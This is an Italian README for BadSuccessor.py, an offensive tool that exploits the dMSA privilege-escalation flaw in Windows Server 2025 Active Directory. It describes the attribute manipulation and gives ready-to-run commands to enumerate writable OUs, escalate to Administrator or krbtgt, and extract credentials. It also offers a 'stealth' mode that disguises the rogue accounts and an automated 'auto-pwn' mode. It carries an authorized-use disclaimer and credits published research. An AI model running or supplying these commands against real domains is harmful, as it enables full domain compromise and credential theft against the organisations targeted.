BadSuccessor.py

Uno strumento di penetration testing che sfrutta la vulnerabilità di escalation dei privilegi dMSA (delegated Managed Service Account) negli ambienti Active Directory di Windows Server 2025.

⚠️ Disclaimer Legale

Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e a scopi di ricerca sulla sicurezza. L'uso di questo strumento contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. Gli autori non sono responsabili di qualsiasi uso improprio o danno causato da questo strumento.

⚠️ Stato di Sviluppo e Disclaimer sui Test Ambientali

IMPORTANTE: Questo strumento è in fase di sviluppo e test attivi.

Stato Attuale

• Adozione di Windows Server 2025: A partire da maggio 2025, Windows Server 2025 è ancora in fase di adozione iniziale con distribuzioni di produzione limitate
• Variazioni Ambientali: A causa del numero limitato di ambienti Windows Server 2025 disponibili per i test, questo strumento potrebbe incontrare configurazioni non testate
• Sviluppo in Corso: Stiamo perfezionando attivamente lo strumento man mano che vengono distribuite e testate più variazioni ambientali

Cosa Significa

• Aspettatevi Aggiornamenti: Lo strumento riceverà aggiornamenti frequenti man mano che verranno testati nuovi tipi di ambiente
• Segnalate Problemi: Il vostro feedback è fondamentale - vi preghiamo di segnalare qualsiasi problema o caso limite incontrato
• Testate con Cura: Testate sempre prima in un ambiente non di produzione
• Variazioni dello Schema: Diverse build di Windows Server 2025 possono implementare gli attributi dMSA in modo diverso
• Stabilità delle Funzionalità: Mentre la funzionalità principale è stabile, alcune funzionalità potrebbero richiedere aggiustamenti per ambienti specifici

Variabili Note Monitorate

• Diverse versioni di build di Windows Server 2025
• Convenzioni di denominazione degli attributi dello schema
• Implementazioni AD regionali/localizzate
• Configurazioni cloud ibride
• Vari livelli funzionali di AD
• Diverse configurazioni di hardening della sicurezza

Test della Comunità

Incoraggiamo la community della sicurezza a:

• Testare in ambienti diversi
• Condividere i risultati (sanitizzati)
• Inviare pull request per miglioramenti di compatibilità
• Segnalare variazioni ambientali

Usando questo strumento, riconoscete che è in fase di sviluppo attivo e potrebbe richiedere modifiche per il vostro ambiente specifico.

📋 Panoramica

BadSuccessor sfrutta una vulnerabilità di escalation dei privilegi nella funzionalità delegated Managed Service Account (dMSA) di Windows Server 2025. La vulnerabilità consente agli attaccanti con permessi minimi di elevare i privilegi a qualsiasi utente del dominio, inclusi gli Amministratori di Dominio.

Crediti di Ricerca

Questo strumento si basa sull'eccellente ricerca di Yuval Gordon di Akamai Technologies:

• BadSuccessor: Abusare di dMSA per Elevare i Privilegi in Active Directory

🎯 Dettagli della Vulnerabilità

La vulnerabilità risiede nel processo di migrazione dMSA in cui:

1. Un attaccante crea un dMSA malevolo in qualsiasi OU scrivibile
2. Imposta msDS-ManagedAccountPrecededByLink o ms-DS-Managed-Account-Preceded-By-Link per puntare a un utente target
3. Imposta msDS-DelegatedMSAState o ms-DS-Delegated-MSA-State a 2 (migrazione completata)
4. Il KDC concede automaticamente al dMSA tutti i privilegi dell'utente target tramite l'ereditarietà PAC

Inoltre, la struttura KERB-DMSA-KEY-PACKAGE contiene le chiavi password dell'utente target, consentendo l'estrazione delle credenziali.

✅ Prerequisiti

Requisiti di Sistema

• Macchina Linux (non appartenente al dominio)
• Python 3.6+
• Accesso di rete all'ambiente Active Directory target
• Il dominio target deve avere almeno un Domain Controller Windows Server 2025

Dipendenze Python```bash

pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0

**Nota**: Lo strumento è stato testato con impacket 0.12.0. Gli avvisi di compatibilità delle versioni vengono visualizzati in fase di esecuzione.

### Dipendenze opzionali```bash
# For DNS discovery
pip3 install dnspython

# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2

# RHEL/CentOS/Fedora
sudo yum install krb5-devel

Required Permissions

• Credenziali di dominio valide (qualsiasi account utente)
• QUALSIASI dei seguenti permessi su almeno un'unità organizzativa:
  • Permesso CreateChild
  • Permesso Write
  • Permesso GenericWrite
  • Permesso GenericAll
  • Membro dei gruppi predefiniti con accesso in scrittura (ad es., Authenticated Users)
• Lo strumento individua automaticamente tutte le OU scrivibili e mostra i permessi specifici

🚀 Installazione```bash

git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py

### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0

📖 Utilizzo

Sintassi di base```bash

python3 badsuccessor.py -d -u -p [options]

### Esempi di avvio rapido

#### 1. Modalità Dry Run (NUOVO) - Test senza apportare modifiche```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator

# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"

2. Enumerare l'ambiente```bash

Check Windows Server 2025 schema support

python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema

Find ALL writable OUs with detailed permissions

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate

List high-value targets

python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets

Validate specific target account

python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator

#### 3. Esegui l'attacco```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator

# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30

# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
  --dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
  --dmsa-display-name "Production Service"

# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
  --dmsa-pattern "svc{random}prod"

4. Estrai le credenziali```bash

Extract credentials for multiple users

python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql

Auto-pwn mode (fully automated)

python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn

#### 5. Gestione delle Sessioni (NUOVO)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions

# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234

# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID